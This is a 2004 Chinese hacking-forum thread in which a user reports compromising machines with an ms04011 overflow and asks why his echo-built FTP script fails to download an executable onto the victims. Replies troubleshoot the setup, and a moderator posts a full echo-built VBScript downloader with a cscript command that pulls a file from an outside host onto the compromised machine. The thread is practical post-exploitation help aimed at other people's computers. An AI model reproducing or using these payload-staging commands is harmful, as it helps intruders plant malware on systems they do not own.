论坛: 黑客进阶 标题: 溢出后用ECHO和FTP-S传文件的困惑 复制本贴地址    
作者: qscy [qscy]    论坛用户   登录
用ms04011程序溢出成功后在SHELL中用以下命令:
echo open xxx.51.net >ftp.txt
echo 用户名 >>ftp.txt
echo 密码 >>ftp.txt
echo get xxx.exe >>ftp.txt
echo bye >>ftp.txt
然后ftp -s:ftp.txt

结果却显示如下:

c:\winnt\system32>ftp -s:ftp.txt
ftp -s:ftp.txt
user <xxx.51.net:<none>>open xxx.51.net

Login incorrect.
Login failed.
Invalid command

…………

试过好几台肉鸡都是这样,而同样的程序在我自己的机子上却可以正确执行,真是郁闷!请高手帮忙解答一下,多谢啦!

地主 发表时间: 04-06-15 10:48

回复: lijingxi [lijingxi]   见习版主   登录
登陆失败 登陆错误 命令错误!

好象是这个意思!

B1层 发表时间: 04-06-15 18:19

回复: chiru [chiru]   论坛用户   登录
不用域名,直接用ip地址来访问试试

B2层 发表时间: 04-06-16 11:23

回复: Frankiez [frankiez84]   论坛用户   登录
请确认你没有设IP规则或用防火墙限制了外来IP对本地FTP的访问

B3层 发表时间: 04-06-17 12:09

回复: jjd617 [jjd617]   论坛用户   登录
一楼的没错!1

B4层 发表时间: 04-06-17 15:07

回复: lijingxi [lijingxi]   见习版主   登录
建议楼主换一个下载方式看看!比如:
echo On Error Resume Next >>c:\pop.vbs
echo Dim iRemote,iLocal >>c:\pop.vbs
echo iLocal = LCase(WScript.Arguments(1)) >>c:\pop.vbs
echo iRemote = LCase(WScript.Arguments(0)) >>c:\pop.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>c:\pop.vbs
echo xPost.Open "GET",iRemote,0 >>c:\pop.vbs
echo xPost.Send() >>c:\pop.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>c:\pop.vbs
echo sGet.Mode = 3 >>c:\pop.vbs
echo sGet.Type = 1 >>c:\pop.vbs
echo sGet.Open() >>c:\pop.vbs
echo sGet.Write(xPost.responseBody) >>c:\pop.vbs
echo sGet.SaveToFile iLocal,2 >>c:\pop.vbs


执行以上代码以后就可以下载文件了!
例如:
c:\winnt\system32\cscript.exe c:\pop.vbs http:\\***.***.***.***\文件名.扩展名 c:\winnt\system32\文件名.扩展名

B5层 发表时间: 04-06-18 12:53

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号